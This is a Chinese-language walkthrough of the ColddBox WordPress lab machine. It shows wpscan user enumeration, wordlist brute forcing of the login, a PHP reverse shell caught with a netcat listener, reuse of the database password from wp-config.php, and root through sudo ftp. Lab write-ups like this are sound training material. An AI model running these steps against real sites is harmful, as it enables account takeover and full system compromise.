Wordpress 漏洞利用与后渗透

【作业】ColddBox 靶场

Wordpress 漏洞利用与后渗透。

突破口

渗透这类 CMS 网站时，不要上来就狂扫，它大部分目录都是固定的，开源去看对应版本，商业的找几篇文章。特别 注意的是一定先去找对应版本漏洞，不要自己手工测基本行不通的。

从收集到的信息里可以找到这个登入口，基于之前的 Wordpress 渗透经验登入口是可以爆破的，渗透过程要记住 每个可能的点都要去尝试，都尝试一遍后没结果继续深入尝试。

$ wpscan --url practical.secself.com --enumerate
...
[i] User(s) Identified:
[+] the cold in person
 | Found By: Rss Generator (Passive Detection)
[+] hugo
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)
[+] philip
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)
[+] c0ldd
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)
...

使用 Wordpress 专用扫描探测工具 wpscan ，从结果里可以看出枚举出三个用户，但密码未知。工具怎么知道这几 个账户的存在，这是基础漏洞，在金融、银行等大公司这个漏洞是致命的。

  ERROR: Invalid username. Lost your password?

 ERROR: The password you entered for the username c0ldd is incorrect. Lost your
password?

上面两个提示可以判断出用户是否存在，这几乎是开发人员最容易忽视的问题，在注册、找回密码和登入等涉及用户的接口非常常⻅。

打点

开始爆破登入接口，还是使用 wpscan 工具，也可以用bp。

ERROR: The password you entered for the username c0ldd is incorrect. Lost your
password?
$ wpscan --url practical.secself.com --usernames c0ldd --passwords xato-net-10-million-
passwords-100000.txt
...
[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - c0ldd / 9876543210
Trying c0ldd / cowboys1 Time: 00:00:44 <
102915)  2.83%  ETA: ??:??:??
[!] Valid Combinations Found:
 | Username: c0ldd, Password: 9876543210
...

最后爆破用户 c0ldd 成功，拿到密码登入到后台，直接反弹 shell 到 kali 上，脚本地址。

https://github.com/pentestmonkey/php-reverse-shell

最后爆破用户 c0ldd 成功，拿到密码登入到后台，直接反弹 shell 到 kali 上，脚本传送⻔。

拿到shell准备开始提权

$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.104] from (UNKNOWN) [192.168.2.106] 51414
Linux ColddBox-Easy 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020
x86_64 x86_64 x86_64 GNU/Linux
 06:55:10 up  1:08,  0 users,  load average: 0.02, 0.01, 0.02
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
...

提权

还是老一套，从 sudo 开始尝试，提示 no tty present 需要创建一个 tty 命令行。

使用 python 创建一个 tty 控制台，用于 sudo 提权

python3 -c 'import pty;pty.spawn("/bin/bash")'

使用 sudo -l 发现需要使用密码，在机器上收集一些密码信息。

$ sudo -l
sudo: no tty present and no askpass program specified
www-data@ColddBox-Easy:/$ sudo -l
sudo -l
[sudo] password for www-data:

找到 Wordpress 配置信息，看下数据库用户名和密码是否与系统账户重合

...

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'colddbox');
/** MySQL database username */
define('DB_USER', 'c0ldd');
/** MySQL database password */
define('DB_PASSWORD', 'cybersecurity');
/** MySQL hostname */
define('DB_HOST', 'localhost');
...

成功切换到 c0ldd 用户，继续使用 sudo 提权

$ sudo -l
sudo -l
[sudo] password for c0ldd: cybersecurity
Coincidiendo entradas por defecto para c0ldd en ColddBox-Easy:
    env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/b
in
El usuario c0ldd puede ejecutar los siguientes comandos en ColddBox-Easy:
    (root) /usr/bin/vim
    (root) /bin/chmod
    (root) /usr/bin/ftp

ftp提权成功，拿到root权限

$ sudo ftp
sudo ftp
ftp> !/bin/bash
!/bin/bash
# id
id
uid=0(root) gid=0(root) grupos=0(root)